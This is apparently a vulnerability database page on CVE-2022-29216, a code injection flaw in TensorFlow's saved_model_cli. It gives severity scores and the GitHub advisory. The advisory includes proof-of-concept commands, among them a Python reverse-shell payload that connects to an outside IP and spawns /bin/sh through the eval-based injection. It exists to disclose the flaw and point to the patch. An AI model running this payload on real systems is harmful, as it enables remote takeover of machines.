Loading HuntDB...

CVE-2022-29216

HIGH
Published 2022-05-20T23:35:13.000Z
Actions:

Expert Analysis

Professional remediation guidance

Get tailored security recommendations from our analyst team for CVE-2022-29216. We'll provide specific mitigation strategies based on your environment and risk profile.

CVSS Score

V3.1
7.8
/10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.002
probability
of exploitation in the wild

There is a 0.2% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.365
Higher than 36.5% of all CVEs

Attack Vector Metrics

Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED

Impact Metrics

Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH

Description

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed HIGH

Code injection in `saved_model_cli` in TensorFlow

GHSA-75c9-jrh4-79mc

Advisory Details

### Impact TensorFlow's `saved_model_cli` tool is vulnerable to a code injection: ``` saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./ --tag_set serve --signature_def serving_default ``` This can be used to open a reverse shell ``` saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serve --signature_def serving_default ``` This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution: ```python def preprocess_input_exprs_arg_string(input_exprs_str, safe=True): # ... for input_raw in filter(bool, input_exprs_str.split(';')): # ... if safe: # ... else: # ast.literal_eval does not work with numpy expressions input_dict[input_key] = eval(expr) # pylint: disable=eval-used return input_dict ``` This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`. ### Patches We have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

Affected Packages

PyPI tensorflow
ECOSYSTEM: ≥0 <2.6.4
PyPI tensorflow-cpu
ECOSYSTEM: ≥0 <2.6.4
PyPI tensorflow-gpu
ECOSYSTEM: ≥0 <2.6.4
PyPI tensorflow
ECOSYSTEM: ≥2.7.0 <2.7.2
PyPI tensorflow
ECOSYSTEM: ≥2.8.0 <2.8.1
PyPI tensorflow-cpu
ECOSYSTEM: ≥2.7.0 <2.7.2
PyPI tensorflow-cpu
ECOSYSTEM: ≥2.8.0 <2.8.1
PyPI tensorflow-gpu
ECOSYSTEM: ≥2.7.0 <2.7.2
PyPI tensorflow-gpu
ECOSYSTEM: ≥2.8.0 <2.8.1

CVSS Scoring

CVSS Score

7.5

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Advisory provided by GitHub Security Advisory Database. Published: May 24, 2022, Modified: June 6, 2022

References

Published: 2022-05-20T23:35:13.000Z
Last Modified: 2025-04-22T17:56:38.650Z
Copied to clipboard!